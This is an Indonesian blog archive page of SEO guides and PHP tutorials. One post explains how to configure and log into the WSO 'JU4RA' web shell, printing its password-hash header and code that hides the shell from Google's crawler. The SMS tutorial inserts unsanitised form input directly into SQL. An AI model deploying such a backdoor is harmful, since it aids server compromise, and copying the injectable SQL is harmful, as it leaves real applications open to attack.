.
Tampilkan postingan dengan label Source Website. Tampilkan semua postingan
Tampilkan postingan dengan label Source Website. Tampilkan semua postingan

Jumat, 21 Desember 2012

Panduan SEO Yahoo untuk Pemula (yahoo webmaster guidelines)

Selain melakukan optimasi mesin pencari  dengan menggunakan panduan seo google dan seo bing guidelines , kita dapat meningkatkan visibilitas blog pada search engine yahoo. Karena setiap search engine memiliki algoritma yang berbeda dalam menentukan rangking halaman blog/website yang akan di tampilkan dalam hasil pencariannya (SERP), maka sebagai blogger perlu menyesuaikan blog dengan aturan-aturan yang telah ditentukan oleh setiap search engine.

Berikut ini beberapa referensi yang bisa dijadikan acuan dalam melakukan optimasi seo yahoo dan panduan seo yahoo untuk pemula:

1. Buat original konten, seperti search engine google / bing  , postingan yang original lebih disukai mesin pencari
2. Mengutamakan halaman blog di desain dan berorietasi pada pengunjung blog,
3. Melengkapi blog dengan hyperlinks yang ditujukan untuk membantu pengunjung menemukan postingan blog yang lain,seperti related post (postingan terkait), recent post (postingan terbaru), dll
4. Memasang meta data (meta tag descryption + meta tag keyword) yang relevan dengan konten blog
5. Blog mempunyai design template yang bagus dalam mudah di navigasi, struktur link yang baik, serta mudah ditelusuri oleh spider mesin pencari

6. Menghindari beberapa hal yang dilarang oleh yahoo, seperti :
a. Halaman blog yang membahayakan keakuratan, keragaman atau relevansi hasil pencarian.
b. Halaman blog dibuat untuk mengarahkan pengguna ke halaman lain (doorway pages).
c. Beberapa atau halaman situs yang menawarkan konten yang sama secara substansial.
d. Halaman diproduksi dalam jumlah besar, yang dihasilkan secara otomatis (auto generated content)
e. Halaman yang menggunakan metode artifisial mengembang peringkat mesin pencari.
f.Penggunaan teks atau link yang disembunyikan dari pengguna.
g. Halaman yang memberikan konten mesin pencari berbeda dari apa yang dilihat oleh pengguna (cloaking pages).
h. Situs yang menerapkan cross link dengan situs lain untuk menggelembungkan popularitas situs (skema link).
i. Halaman yang khusus dibuat untuk mesin pencari atau halaman dengan kata kunci yang berlebihan atau off-topic.
j. Penyalahgunaan nama pesaing, misalnya dengan membuat domain yang mirip dengan situs yang sudah terkenal
k. Membuat situs yang menawarkan konten yang sama.
l. Situs yang menggunakan pop-up yang berlebihan yang mengganggu navigasi pengguna.
m. Halaman yang terlihat menipu, curang, atau minim pengalaman pengguna 

Selengkapnya bisa dilihat pada situs resmi yahoo atau klik disini SEO Yahoo Guidelines

SEO untuk Bing: 15 tips untuk meningkatkan peringkat Anda pada SERPs


bing-seoBeberapa minggu yang lalu ComScore merilis beberapa tokoh yang menyatakan bahwa aliansi Bing & Yahoo telah meningkatkan pangsa pasar untuk 30,5% di AS yang hampir setengah dari pangsa pasar dari Google. Apalagi Bing telah menandatangani kesepakatan dengan Baidu, Search Engine yang sangat populer Cina, untuk daya SERPs untuk query bahasa Inggris. Hal ini membuat itu benar-benar diperlukan untuk webmaster dan SEO profesional untuk memastikan bahwa situs Web mereka dengan baik dioptimalkan untuk Bing dan bahwa mereka memiliki kesempatan untuk mendapatkan peringkat tinggi di jaringan "powered by Bing".
Dalam artikel ini kita akan fokus pada bagaimana mengoptimalkan situs Anda untuk Bing dan kami akan memberikan 15 tips yang dapat membantu Anda mendapatkan posisi di hasil pencarian. Seperti banyak dari Anda akan melihat, beberapa tips yang umum di SEO dan juga akan bekerja untuk Google. Hal ini karena meskipun resep rahasia dari mesin pencari utama berbeda, prinsip utama adalah sama ketika datang ke website peringkat.

1. Meningkatkan RKPT Anda

Duane Forrester, Product Manager dengan Program Webmaster Bing, telah menegaskan beberapa kali di masa lalu bahwa Bing berfokus pada bagaimana pengguna berinteraksi dengan hasil pencarian. Dalam salah satu wawancara ia mengungkapkan bahwa "Kami mencari untuk melihat apakah kita menunjukkan hasil Anda dalam # 1, apakah itu bisa klik dan apakah pengguna datang kembali kepada kami dalam jangka waktu yang wajar atau mereka datang kembali hampir seketika? ". Hal ini juga dikonfirmasi di SMX Timur oleh Steve Tullis, yang Program Manager Senior di Bing.
Hal ini menunjukkan bahwa Bing memperhitungkan klik melalui tingkat dan bahwa mereka menggunakannya sebagai sinyal peringkat. Untuk membaca lebih lanjut tentang bagaimana meningkatkan RKPT Anda, saya sangat menyarankan Anda untuk membaca artikel " 7 cara untuk memaksimalkan RKPT Anda di Hasil Search Engine "di mana kita menjelaskan semua teknik-teknik dasar.
CTR

2. Mengurangi Tingkat Bouncing Anda

Selama bertahun-tahun, Tingkat Bouncing mulai menjadi lebih dan lebih penting dalam SEO karena itu digunakan oleh mesin pencari sebagai sinyal kualitas konten. Bing tidak hanya memperhitungkan RKPT tetapi juga mengukur rentang waktu antara klik pengguna pada hasil pencarian tertentu dan kembali pada SERPs. Jika jumlah total waktu kurang dari satu menit atau beberapa detik, ini berarti bahwa hasil tertentu tidak bermanfaat bagi pengguna. Mencapai kali lebih tinggi dari 1 menit atau 2 menunjukkan bahwa website Anda adalah menarik dan bermanfaat bagi pengguna.
Juga di sini kita harus mencatat bahwa kedua Mesin pencari utama, telah mengembangkan browser mereka sendiri (IE dan Chrome) yang memungkinkan mereka untuk mengumpulkan informasi anonim pada bagaimana pengguna berinteraksi dengan berbagai situs. Semua "barang" memberikan informasi yang berguna untuk mesin pencari tentang website mana yang berkualitas tinggi dan mana yang tidak. Jika Anda ingin mempelajari lebih lanjut tentang bagaimana mengurangi Tingkat Bouncing Anda membaca artikel "The 8 cara untuk menurunkan Tingkat Bouncing Anda ".

3. Gunakan Schema.org

Baru-baru ini Google, Yahoo dan Bing mengembangkan protokol bersama-sama didukung disebut Schema.org yang memungkinkan webmaster untuk mark up konten mereka dengan menggunakan tag khusus dalam kode HTML. Tag ini memungkinkan mesin pencari memahami lebih mudah konten Anda karena dengan menggunakan mereka, Anda dapat menandai foto, video, nama produk & deskripsi, peringkat & ulasan, informasi geolocation, peta, dll alamat dan menentukan sebagian hubungan semantik antara komponen yang berbeda. Jika protokol ini menjadi banyak digunakan akan memungkinkan mesin pencari untuk memahami dan peringkat halaman lebih mudah & lebih baik, mengembangkan layanan baru dan menyajikan informasi dalam cara yang lebih user friendly.
Protokol baru ini dirancang oleh Search Engine untuk menyelamatkan mereka dari pengeluaran uang dan sumber daya. Hal ini karena cukup dapat menggantikan dalam besar memperpanjang algoritma pembelajaran mesin mahal yang saat ini digunakan untuk memahami "jenis" yang berbeda dari data yang terkandung dalam setiap halaman. Demikian pula untuk apa yang kita katakan di masa lalu tentang duplikat konten , ketika praktek dapat membantu mesin pencari mengurangi biaya mereka, mereka cenderung untuk meningkatkan website yang mengikutinya dan menghukum orang-orang yang tidak. Jadi meskipun itu adalah awal untuk menunjukkan bahwa schema.org dapat membantu Anda meningkatkan peringkat Anda, saya sangat menyarankan Anda untuk mulai menggunakannya karena sangat segera, mesin pencari akan menuntut hal itu dengan memberikan poin tambahan ke situs-situs yang telah menerapkan hal itu.

4. Gunakan Bing Webmaster Center

Pusat Webmaster Bing adalah layanan gratis yang memungkinkan Anda untuk melihat statistik yang berharga tentang situs web Anda, memeriksa berapa banyak tayangan & klik yang telah di SERPs, mengelola tingkat merangkak Anda, mengirimkan Sitemaps & RSS feed, mengelola cara yang Bing Indeks website Anda , cek dll Lalu Lintas Organik Anda menggunakan alat ini dan menganalisis hasilnya benar-benar penting untuk meningkatkan peringkat Anda dan memahami kelemahan dari kampanye SEO Anda. Selain itu dengan mengevaluasi informasi yang diberikan Anda bisa mendapatkan wawasan yang berguna tentang bagaimana menarik website Anda adalah di mata pengguna.
bing-SEO-tools1

5. Menghasilkan Kualitas Konten

Seperti kebanyakan mesin pencari, Bing mencoba untuk mengidentifikasi halaman yang berisi konten berkualitas tinggi dan yang mengandung konten tipis. Saat mengembangkan situs Anda, Anda harus selalu ada dalam pikiran bahwa satu-satunya cara untuk mengembangkan kampanye SEO yang sukses & tahan lama adalah untuk fokus pada konten dan pengalaman pengguna. Jadi ketika mengembangkan website Anda, tanyakan pada diri sendiri pertanyaan-pertanyaan berikut:
  • Apakah halaman saya memberikan sesuatu yang unik bagi pengguna atau tidak ada original / baru di dalamnya?
  • Apakah saya memiliki konten tangan unik tertulis atau aku hanya memo konten dari situs lain yang memiliki reputasi tinggi?
  • Apakah teks saya ditulis dengan baik atau mereka penuh dengan kesalahan ketik dan kesalahan tata bahasa?
  • Apakah halaman saya mendapatkan tweeted / menyukai / dihubungkan / dibagi oleh pengguna?Apakah saya mendapatkan perhatian mereka atau mereka mengabaikan konten saya dan mental?
  • Adalah teks ke rasio gambar seimbang atau apakah saya memiliki halaman yang berisi gambar terlalu banyak atau terlalu banyak teks?
  • Apakah saya mengambil langkah-langkah untuk menghapus duplikat konten dari situs saya?
  • Apakah isi dari halaman yang cukup saya atau itu terlalu pendek atau terlalu panjang?
  • Apakah saya memberikan deskripsi produk asli dan unik atau apakah saya tetap pada keterangan produk generik bahwa website e-commerce yang paling digunakan?
Kualitas konten adalah jenis konten yang unik, ditulis dengan baik, jawaban jelas dan cukup pertanyaan dari pengunjung dan membuatnya / dia berinteraksi atau berbagi di media sosial. Meskipun definisi yang tepat tentang apa kualitas konten yang bervariasi, ini adalah karakteristik yang diterima secara luas paling penting yang harus selalu diingat.

6. Pikiran pengalaman pengguna

Search Engine tidak lagi hanya fokus pada mengembalikan hasil yang relevan bagi pengguna tetapi juga mereka mencoba untuk meningkatkan orang-orang yang memberikan pengalaman pengguna yang terbaik. Aspek yang paling penting yang mempengaruhi pengalaman pengguna adalah desain, waktu loading, navigasi, iklan rasio konten, penggunaan yang tepat dari visual dan gambar, penggunaan yang tepat dari video dll Menyajikan konten Anda pada cara yang benar sangat penting namun faktor di atas dapat mempengaruhi satu sama lain.
user-experience
Sebagai contoh jika Anda memilih untuk menyertakan visual dan gambar dalam halaman Anda, hal ini akan berdampak negatif terhadap waktu loading Anda. Jadi keseimbangan adalah kunci dalam situasi ini.Tanyakan pada diri sendiri apa yang pengunjung harapkan dari website Anda dan mengapa mereka mengunjungi halaman Anda. Jika Anda memiliki sebuah direktori atau layanan mesin pencari maka Anda lebih mungkin untuk menggunakan desain pemuatan sederhana dan cepat karena dalam kasus ini kecepatan sangat penting. Namun jika Anda memiliki sebuah website e-commerce maka pengunjung Anda berharap untuk menemukan deskripsi rinci, banyak gambar dan mungkin video yang menggambarkan produk. Jangan berpikir seperti pemilik situs web atau SEO profesional, mencoba memahami apa yang audiens target Anda mengharapkan dari website Anda dan yang pengguna faktor pengalaman yang lebih penting dalam kasus Anda. Anda dapat membaca lebih lanjut tentang bagaimana meningkatkan pengalaman pengguna dari situs Anda dengan membaca artikel " 30 tips untuk mengembangkan Desain SEO Friendly "dan" Aturan Dasar untuk Desain Web Mengesankan & SEO kompatibel ".

7. Gunakan Tombol Social Media & Social menjadi Aktif

Seperti yang telah disebutkan beberapa kali di masa lalu, data media sosial digunakan oleh mesin pencari utama dan mereka mempengaruhi hasil mesin pencari. Lebih khusus Bing telah mengungkapkan bahwa mereka menggunakan kedua Twitter dan data Facebook dalam algoritma mereka dalam rangka untuk mengevaluasi apakah suatu halaman tertentu yang populer bagi pengguna. Sebagai hasil dengan menjadi sosial yang aktif dan dengan memasukkan media sosial pada tombol tempat strategis desain Anda, Anda secara positif dapat mempengaruhi baik Media Sosial dan Lalu Lintas Organik Anda. Berbagi adalah merawat dan jika Anda benar-benar peduli tentang situs web Anda, Anda tidak boleh mengabaikan saluran online penting.

8. Pada halaman Optimasi

Semua On-halaman dan umum teknik optimasi teks yang kita telah dijelaskan di masa lalu untuk Google juga berlaku di Bing. Seperti bobot Bing diharapkan banyak Judul sehingga menulis singkat (kurang dari 65 karakter), deskriptif dan judul HTML kata kunci-kaya adalah suatu keharusan. Deskripsi Meta juga penting untuk Bing jadi pastikan Anda menulis deskripsi yang menggambarkan secara akurat dan cukup semua konten halaman. Juga memastikan bahwa mereka menarik bagi pengguna karena mereka biasanya muncul pada potongan dan dapat mempengaruhi RKPT.
keyword-analysis
Melakukan luas Riset Kata Kunci sebelum menulis konten Anda karena harus dengan melakukan sehingga Anda dapat memastikan bahwa Anda berfokus pada kata kunci yang benar. Untuk informasi lebih lanjut tentang cara memilih kata kunci yang benar untuk menyalin SEO Anda membaca artikel " Combine Riset Kata Kunci & Analisis Pesaing Anda untuk meningkatkan SEO ". Apalagi dengan melakukan lengkap Analisis Kata Kunci pada halaman Anda, Anda dapat memastikan bahwa konten Anda dengan baik dioptimalkan, bahwa Anda tidak menaikkan bendera setiap spam dan bahwa bagian-bagian penting dari halaman HTML yang selaras dengan sisa teks. Last but not least, Anda harus mencatat bahwa mencoba untuk artifisial meningkatkan kepadatan kata kunci Anda adalah teknik yang tidak akan bekerja untuk Bing. Sebaliknya Anda harus membayar lebih banyak perhatian pada KeywordRank yang disediakan dari alat Analisis Kata Kunci , yang memperhitungkan seberapa baik dioptimalkan kata kunci dalam halaman tertentu.

9. Membangun Link Kualitas Tinggi

Semua mesin pencari utama menggunakan informasi yang dapat ditemukan pada hyperlink selama analisis mereka. Menambahkan link dari sumber terpercaya dan terpercaya tinggi dapat membantu Anda meningkatkan peringkat Anda, namun Anda harus membayar perhatian ekstra pada jangkar teks yang Anda gunakan karena dengan menambahkan kata kunci di dalamnya Anda dapat mencapai peringkat yang lebih baik. Jika Anda ingin membaca lebih lanjut tentang bagaimana mengembangkan kampanye Link Bangunan yang solid dan menghindari kesalahan umum, membaca berikut panduan Link Building .

10. Meningkatkan crawlability Anda

Jika situs Web Anda tidak dapat dijelajahi oleh spider Bing maka tidak akan diindeks dan oleh karena itu tidak akan muncul dalam hasil pencarian. Sebuah alat yang hebat yang dapat membantu Anda meningkatkan crawlability Anda adalah sitemap HTML. Apalagi dengan menggunakan RSS feed XML Sitemaps & Anda dapat memastikan bahwa semua halaman website Anda akan ditemukan dan diindeks oleh Bing. Jadi, pastikan Anda mengirimkan mereka di Pusat Webmaster Bing setiap kali Anda menambahkan halaman baru pada website Anda. Robots.txt juga dapat menjadi alat yang berguna yang memungkinkan Anda untuk mengontrol bagaimana laba-laba merangkak website Anda, tetap harus ekstra hati-hati saat bermain-main dengan file ini karena Anda dapat dengan mudah memblokir akses website Anda dan membuatnya jatuh dari indeks.
Last but not least Anda harus mencatat bahwa Bing tidak sangat baik dalam mengindeks konten AJAXdan bahwa saat ini mereka tidak mendukung usulan Google untuk membuat aplikasi AJAX crawlable.Akibatnya Bing tetes semua bagian dari URL yang muncul setelah #! atau # (fragmen). Hati-hati ekstradengan beberapa solusi Flash yang seharusnya untuk memberikan URL SEO friendly dengan menggunakan fragmen. Mereka URL TIDAK SEO friendly dan mereka tidak ditangani oleh mesin pencari dengan benar.

11. Meningkatkan Struktur Website Anda

Menggunakan teknik SEO friendly untuk mengembangkan website Anda dapat memiliki dampak nyata pada peringkat Anda di Bing. Memiliki SEO friendly URL yang mengandung kata kunci penting dari halaman pasti dapat memberikan Anda dorongan. Selain itu memastikan bahwa tidak ada sesi Id atau variabel yang tidak perlu lainnya muncul dalam URL dan bekerja pada Anda CMS untuk menghindari duplikat masalah konten .
Seperti kebanyakan Anda tahu, penggunaan Javascript yang berlebihan, Flash, Silverlight, iframes dan teknologi serupa membuat website Anda kurang crawlable dan dengan demikian mereka harus dihindariuntuk bagian-bagian penting dari halaman. Terakhir but not least jangan lupa untuk menulis teks alt deskriptif dalam visual penting dari halaman karena ini dapat membantu Anda mendapatkan lalu lintas organik tambahan dari Image Search. Anda dapat membaca lebih lanjut tentang bagaimana untuk meningkatkan Struktur Situs Web Anda pada artikel berikut yang menjelaskan secara rinci semua kesalahan pengembangan web umumyang mempengaruhi SEO.

12. Bekerja pada Arsitektur link internal Anda

Link internal dari situs Anda sangat penting untuk Bing karena mereka memberikan itu dengan banyak info tentang hirarki halaman Anda. Pastikan bahwa Anda menggunakan menu teks, mengoptimalkan teks internal Anda jangkar, memanfaatkan pohon seperti struktur, link langsung dari situs Anda ke halaman penting dari situs web Anda dan selalu menempatkan link penting dari halaman Anda di atas flip. Topik ini telah dibahas secara ekstensif di masa lalu, jadi saya sangat menyarankan Anda membaca artikel " Mengapa saya kampanye SEO gagal? Bagian 3: Struktur umum kesalahan link "dan" 10 tips untuk mengembangkan Arsitektur Tautan baik internal ".
tree-deep

13. Pikiran sinyal GEO

Karena Bing tidak menggunakan TLDs yang berbeda untuk setiap versi negara yang didukung mesin pencari, efek dari sinyal GEO jauh lebih mendalam bagi pengguna daripada di Google. Seperti yang kita bahas pada artikel sebelumnya " 5 kurang dikenal namun Peringkat Faktor penting yang mempengaruhi Hasil Search Engine ", Bing menggunakan beberapa sinyal untuk menentukan negara yang halaman tertentu yang lebih sesuai. Beberapa dari mereka sinyal adalah lokasi fisik dari server, TLD domain, lokasi dari link masuk, informasi lalu lintas yang dikumpulkan dari statistik peramban anonim, bahasa dokumen dll Selain itu Bing dikenal untukmenggunakan META tag GEO, sesuatu yang Google tidak melakukan.

14. Pilih dengan hati-hati nama Domain Anda

Nama domain selalu penting dalam SEO untuk 2 alasan utama: Pertama-tama ketika hasil datang dari domain yang mengandung kata kunci, Bing cenderung memberikan dorongan untuk query yang mengandung istilah tersebut. Kedua karena domain milik TLD tertentu dan ini dapat digunakan sebagai sinyal GEO (untuk TLDs negara tertentu saja). Dengan demikian memilih nama domain dengan hati-hati dapat memiliki dampak serius pada peringkat Anda. Tentu saja domain yang sangat panjang atau nama domain yang banyak mengandung tanda hubung harus dihindari karena mereka terlihat spammy dan mereka tidak sangat user friendly.

15. Jangan gunakan Metode Blackhat

Bing tidak suka ketika orang mencoba untuk memanipulasi algoritma mereka untuk mencapai peringkat yang lebih tinggi. Akibatnya menggunakan teknik topi hitam seperti cloacking (melayani konten yang berbeda dengan laba-laba dan pengguna), menghasilkan konten otomatis, menghasilkan duplikat konten, menggores, menambahkan teks tersembunyi di halaman, menggunakan koleksi link atau tiga-cara menghubungkan teknik tidak disarankan. Dalam banyak kasus praktek-praktek tidak akan mempengaruhi peringkat Anda positif dan dalam beberapa kasus mereka bahkan bisa mengakibatkan larangan.
black-hat-seo-techniques
Meskipun daftar di atas tips masih jauh dari selesai, karena Bing menunjukkan bahwa mereka menggunakan ribuan sinyal, itu adalah tempat yang baik untuk memulai untuk mengoptimalkan situs web Anda. Bagi Anda yang tertarik untuk belajar lebih banyak tentang bagaimana menggunakan praktek-praktek di atas, sayasangat menyarankan anda untuk memeriksa link dari artikel yang kami berikan tentang.
Jangan lupa untuk berbagi artikel ini, karena berbagi adalah merawat. Juga dengan melakukan itu Anda akan membantu kami peringkat lebih tinggi di Bing! : P
Sumber : webseoanalytics

Cara Mengatasi Google Pinguin Dan Google Panda



Google Panda dan Pinguin-  Tips Blogger kali ini tentang Google panda dan Google Penguin. Seperti yang anda tahu Google Panda dan Google penguin tugasnya adalah memberi hukuman pada blog, hukumannya antara lain adalah menurunkan pagerank. Sejak mereka dibuat, banyak yang berubah pada dunia blogging, blog yang saya kunjungi biasanya ada di nomor 1 di SEO dan sekarang hampir tidak ter-indeks oleh google, dan pagerank nya menurun dari awal, namun ada yang merasa diuntungkan dan ada yang dirugikan oleh PANPING, namun tugas-tugas mereka masing-masing berbeda.

Seperti yang anda tahu Google Pinguin adalah algoritma yang dibuat, hanya untuk blog yang mempunyai banyak SPAM, Dan saudaranya yaitu Google Panda, dibuat untuk menghukum blog yang mempunyai banyak konten sampah. Namun jangan khawatir cara mengatasinya sangat mudah hanya menyempurnakan fisik blog, dan tidak memakai kode HTML.

Cara Mengatasi Google Pinguin

  1. Hindari teks tersembunyi atau link tersembunyi.
  2. Jangan gunakan cloaking atau sneaky redirects.
  3. Jangan mengirimkan query otomatis ke Google.
  4. Jangan memuat halaman dengan kata kunci yang tidak relevan.
  5. Jangan membuat halaman, subdomain, atau domain dengan duplikat konten substansial.
  6. Jangan membuat halaman dengan perilaku jahat, seperti phishing atau menginstall virus, trojan, atau malware lain.
  7. Hindari halaman “doorway” yang dibuat hanya untuk mesin pencari, atau “cookie cutter” pendekatan seperti program afiliasi dengan konten asli sedikit atau tidak ada.
  8. Jika situs Anda berpartisipasi dalam program afiliasi, pastikan bahwa situs Anda menambahkan nilai. Menyediakan konten unik dan relevan yang memberikan alasan bagi pengguna untuk mengunjungi situs Anda terlebih dahulu.
 Cara mengatasi Google Panda:
  1. Perbaiki konten atau hapus konten yang dianggap berkualitas rendah
  2. Kurangi Duplikat atau COPAS pada blog anda
  3. Pasang Sitemap blog pada webmaster 
  4. Gunakan Template yang cepat loadingnya
  5. Jangan sampai ada Broken Link
  6. Pasang Breadcumb
  7. Kurangi penggunaan Widget/Gadget yang tidak perlu
  8. Mulai mencari backlink (jangan terlalu banyak nanti di Banned oleh Google)
Bagi yang ingin bertanya silahkan tanyakan di kotak komentar di bawah artikel ini.

Kamis, 29 November 2012

Membuat Script PHP untuk Mengirim SMS itu Sangat Mudah


Gammu
Gammu
Kali ini akan membahas tentang membuat aplikasi untuk mengirim SMS menggunakan bahasa pemrograman PHP. Kebanyakan orang akan menggunakan Gammu sebagai SMS Gateway-nya, namun kali ini Saya akan menggunakan sebuah software SMS Gateway yang berbasis visual dimana cara penggunaannya jauh lebih mudah daripada menggunakan Gammu.
Gammu memang SMS Gateway yang sangat handal dan sudah banyak  orang yang menggunakannya, namun ia masih berbasis Command Line (berbasis DOS di Windows atau berbasis Terminal di Linux).
Karena sudah banyak yang menggunakan Gammu untuk SMS Gateway dan banyak pula yang mengalami kesulitan di dalam penggunaannya (khususnya bagi yang masih awam), maka kali ini akan Saya ketengahkan cara mudah membuat aplikasi berbasis SMS Menggunakan Lawoo SMS Gateway.
Lawoo SMS Gateway
Lawoo SMS Gateway
Sedangkan, Lawoo SMS Gateway merupakan software SMS Gateway seperti Gammu yang berfungsi utama sebagai aplikasi yang selalu berkomunikasi dengan modem, dimana SMS yang masuk maupun yang akan dikirim akan ditangani langsung oleh aplikasi SMS Gateway ini.
Lawoo SMS Gateway adalah sebuah software yang bersifat Shareware, Anda dapat mencobanya terlebih dahulu dan selama masa trial, terdapat limitasi penambahan kalimat: “Lawoo Trial Version” di setiap SMS yang terkirim. Jika Anda merasa mantab menggunakan Lawoo SMS Gateway ini, Anda dapat membeli lisensinya hanya senilai Rp. 75.000 per unit. Harga yang sangat murah untuk sebuah aplikasi SMS Gateway yang menawarkan kemudahan di dalam pemakaiannya tanpa harus ribet-ribet mengatur berbagai konfigurasi yang berbasis Command Line (DOS/Terminal).
Baiklah, langsung saja kita praktekkan cara membuat aplikasi berbasis SMS dengan menggunakan PHP dan Lawoo SMS Gateway.
Catatan:
Sebelum memulai membuat aplikasi berbasis SMS dengan PHP ini, sebaiknya Anda mendownload terlebih dahulu Lawoo SMS Gateway kemudian download pula Buku Manualnya di alamat tersebut, kemudian ikuti petunjuk cara instalasi seperti yang tercantum di dalam buku manualnya.
Ok, mari kita mulai membuat script PHP-nya:
1. Saya asumsikan Anda menggunakan XAMPP. Maka buatlah terlebih dahulu sebuah folder baru bernama “smsku” di c:xampphtdocs dengan menggunakan Windows Explorer. Folder smsku ini nantinya akan digunakan untuk tempat menyimpan file-file php yang akan kita buat dalam tutorial ini.
2. Selanjutnya bukalah software text editor Anda, misalnya gunakan Notepad++ , kemudian buatlah sebuah file php baru dan ketiklah beberapa baris kode berikut ini:
<?php

     $server="localhost"; //alamat host
     $user="root";        //nama user mysql anda
     $pass="";            //password mysql anda
     $dbname="lawoo_db";  //nama database yang digunakan oleh Lawoo SMSGateway
     $koneksi=mysql_connect($server,$user,$pass);
     $database=mysql_select_db($dbname);

?>
Selanjutnya simpan file tersebut dengan nama config.php.
3. Buatlah file php baru lagi menggunakan Notepad++, file php ini nantinya berfungsi sebagai form pengiriman SMS. Adapun scriptnya adalah sebagai berikut:
<html>
<head>
<title>Kirim SMS</title>
</head>

 <body>

<p><strong>KIRIM SMS</strong></p>

<form id="form1" name="form1" method="post" action="kirim.php">

  <table width="400" border="1" cellspacing="0" cellpadding="0">

    <tr>

      <td>Modem:</td>

      <td><select name="txtimei" id="txtimei">

      <?php

        include("config.php");

        $sql="SELECT * FROM modem";

        $qry=mysql_query($sql);

        while($kol=mysql_fetch_array($qry))

        {

            echo "<option value='$kol[IMEI]'>$kol[MODEL] - $kol[IMEI]</option>";

        }

      ?></select>

      </td>

    </tr>

    <tr>

      <td width="134">No. Tujuan:</td>

      <td width="260"><input type="text" name="textnotujuan" id="textnotujuan" /></td>

    </tr>

    <tr>

      <td>Isi SMS:</td>

      <td><textarea name="textisisms" id="textisisms" cols="30" rows="5"></textarea></td>

    </tr>

    <tr>

      <td> </td>

      <td> </td>

    </tr>

    <tr>

      <td> </td>

      <td><input type="submit" name="button" id="button" value="Kirim" />

      <input type="reset" name="button2" id="button2" value="Reset" /></td>

    </tr>

  </table>

</form>

</body>

</html>
Simpan script diatas dengan nama form_kirim.php.
4. Selanjutnya, buat sebuah file baru lagi yang berfungsi untuk memproses form di atas. Script lengkapnya sebagai berikut:
 <?php

    include("config.php");

    $notujuan=$_POST["textnotujuan"];

    $isisms=$_POST["textisisms"];

    $tanggal=date("Y-m-d H:i");

    $imei=$_POST["txtimei"];

    $priority='5';

    $sql="INSERT INTO outbox (SENDINGDATETIME, MESSAGES, DESTINATIONNUMBER, PRIORITY, IMEI) VALUES ('$tanggal', '$isisms', '$notujuan', '$priority', '$imei')";

    $query=mysql_query($sql) or die(mysql_error());

    echo "<a href='form_kirim.php'>SMS terkirim. <br/>Kembali</a>";
 
?>
Simpan script diatas dengan nama kirim.php.
Selesai, sekarang saatnya menguji coba script diatas. Caranya:
1. Aktifkan Lawoo SMS Gateway terlebih dahulu (untuk cara penggunaan Lawo SMS Gateway dapat dibaca di buku manual yang disediakan).
Lawoo SMS Gateway
Lawoo SMS Gateway
2. Buka browser favorit Anda, ketik alamat http://localhost/smsku/
3. Isi nomor tujuan dan isi SMS kemudian klik kirim.
4. SMS akan segera terkirim
Selamat mencoba.

Sabtu, 24 November 2012

Source Code SocialEngine


SocialEngine is a PHP-based social network platform that lets you create a social network on your website. Right out of the box, your social network will offer nearly all of the features found on today’s wildly popular social networks. Instead of hosting your social network on our servers, we give you complete control over your project by allowing you to download the source code and install it on your own server.
We don’t want you to create “turnkey” cookie-cutter social networks. We want your new social network to offer something unique. We call SocialEngine a “platform” because it instantly gives you a simple, unbranded network. This lets you get right to deploying your unique theme, social structure, or concept using our source code as a foundation.
What makes SocialEngine different?
SocialEngine is the only self-hosted social network platform that can truly give you the opportunity for explosive, viral growth. Other social network apps create social networks that look and work the same. SocialEngine’s simple design lets you highlight your unique theme. We’ve gone to great lengths to make customizations easier, with detailed comments placed throughout the completely unencrypted source code. SocialEngine also includes advanced social features not found in other apps, like subnetworks, multiple possible friendship structures, and very comprehensive privacy settings.
Features & Capabilities
Like most white-label social networking apps, SocialEngine is feature-rich. Unlike other products, however, SocialEngine is uniquely designed to support almost any social networking concept you might have. This means that you won’t end up with cookie-cutter results. Instead of throwing in as many end-user features as we could, we focused on building a stable, customizable platform upon which you can implement your own unique features and ideas. Of course, we’ve included all of the staples that end-users have come to expect: Blogs, albums, groups, messages, and everything else you see listed below. To avoid bombarding your users with an overkill of information, we’ve kept these as simple as possible and made them easy for you to modify (with fully commented code and HTML templates).

Rabu, 21 November 2012

Penjelasan Shell JU4RA

Sebelumnya saya minta maaf lupa share pengunaan shell pada post Berbagi Source Code Shell JU4RA
shell ini menggunakan akses login pribadi, untuk passwordnya silahkan di edit source ini
<?php
/* WSO 2.1 (Web Shell by oRb) */
$auth_pass = "2dc10f675cf85ae073e2cdd816d5499e";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
 header('HTTP/1.0 404 Not Found');
 exit;
}
yang berwarna hijau itu encrypt passwordnya standartnya ju4ra
kalo mau edit silahkan decrypt password anda sendiri, source tipe passwordnya
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
 if( empty( $auth_pass ) ||
  ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else 

untuk loginnya tersembunyi, bisa dicek digambar dibawah ini


monggo dinikmati

Selasa, 20 November 2012

Aplikasi PHP dengan Konsep OOP

input
Berlanjut dari tutorial yang dahulu tentang pengenalan OOP pada PHP, kali ini saya akan mencoba membuat sebuah aplikasi penyimpanan dengan dengan menerapkan konsep OOP di PHP.
* disini saya asumsikan bahwa anda sudah bisa membuat sebuah database dan membuat tabel di mysql

  • saya mempunyai sebuah database dengan nama VB, dalam database tersebut terdapat tabel dengan nama matakuliah, berikut field tabel matakuliah
  • setelah membuat tabel nya, langkah selanjutnya buka text editor anda ( notepad, notepad++, dll ), kita akan membuat 4 buah file koneksi.php, simpan_database.php, index.php dan form_data.php
  • file koneksi.php
<?php
mysql_connect(“localhost”,”root”,””); // sesuaikan dengan web server anda
mysql_select_db(“vb”);
?>
  • form_data.php
<?php
class form_data{
function tambah_daftar()
{
?>
<form action=”index.php?menu=simpan_data” method=”post”>
<table>
<thead>
<tr>
<td colspan=”2″ align=”center”>Input Data Mata Kuliah</td>
</tr>
</thead>
<tbody>
<tr>
<td>Kode Mata Kuliah</td>
<td><input type=”text” name=”kode”</td>
</tr>
<tr>
<td>Nama Mata Kuliah</td>
<td><input type=”text” name=”nama”</td>
</tr>
<tr>
<td>Jumlah SKS</td>
<td><input type=”text” name=”sks”</td>
</tr>
<tr>
<td>Semester</td>
<td><input type=”text” name=”semester”</td>
</tr>
<tfoot>
<tr>
<td></td>
<td><input type=”submit” value=”Simpan”</td>
</tr>
</tfoot>
</tbody>
</table>
</form>
<?php
}
function tampil_data()
{
?>
<table width=”40%”>
<thead>
<tr align=”center”>
<td>Kode MK</td>
<td>Nama MK</td>
<td>SKS</td>
